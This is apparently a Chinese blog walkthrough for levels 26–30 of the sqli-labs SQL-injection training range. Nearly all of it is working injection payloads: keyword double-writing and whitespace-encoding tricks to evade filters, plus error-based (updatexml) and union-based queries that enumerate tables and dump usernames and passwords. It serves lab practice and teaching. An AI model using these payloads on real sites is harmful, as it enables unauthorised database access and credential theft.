sqli-labs靶场通关攻略(26-30关)

第26关 (过滤# -- 空格 and or 等等)

查数据库

这关可以看到,他过滤了我们很多字符

那么我们开始尝试绕过过滤

空格使用括号绕过 and和or使用双写绕过

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1))aandnd'1=1

查表

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))aandnd'1=1

查列

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))aandnd'1=1

查数据

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))aandnd'1=1

第27关(过滤 union、select、注释、空格

查数据库

复制代码
?id=1'and(updatexml(1,concat(0x7e,database(),0x7e),1))and'1=1

查表

复制代码
?id=1'and(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))and'1=1

查列

复制代码
?id=1'and(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))and'1=1

查数据

复制代码
?id=1'and(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))and'1=1

第28关(双写+%0a+大小写+('1')=('1绕过)

查数据

复制代码
?id=0')%09ununion%09selection%09select%091,database(),3%09and%09('1'='1

查表

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and('1=1

查列

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1=1

第29关( ' 闭合)

查库

复制代码
?id=' union select 1,2,database() --+

查表

复制代码
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查列

复制代码
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查数据

复制代码
?id=' union select 1,2,group_concat(username,0x7e,password) from users--+

第30关( " 闭合)

查库

复制代码
?id=" union select 1,2,database() --+

查表

复制代码
?id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查列

复制代码
?id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查数据

复制代码
?id=" union select 1,2,group_concat(username,0x7e,password) from users--+
相关推荐
在路上`17 小时前
前端学习之后端java小白(四)之数据库设计
sql·学习
a栋栋栋20 小时前
wsl 环境下用Docker 安装多版本MySQL
mysql·docker·容器
Jayyih20 小时前
嵌入式系统学习Day35(sqlite3数据库)
数据库·学习·sqlite
得意霄尽欢1 天前
Redis之底层数据结构
数据结构·数据库·redis
hsjkdhs1 天前
MySQL 数据类型与运算符详解
数据库·mysql
智海观潮1 天前
Spark SQL解析查询parquet格式Hive表获取分区字段和查询条件
hive·sql·spark
爱吃烤鸡翅的酸菜鱼1 天前
【Redis】常用数据结构之Hash篇:从常用命令到使用场景详解
数据结构·数据库·redis·后端·缓存·哈希算法
李少兄1 天前
IntelliJ IDEA 启动项目时配置端口指南
数据库·sql·intellij-idea
NineData1 天前
NineData云原生智能数据管理平台新功能发布|2025年8月版
数据库·mongodb·云原生·数据库管理工具·ninedata·数据库迁移·数据复制
白云如幻1 天前
【Java】QBC检索和本地SQL检索
java·数据库·sql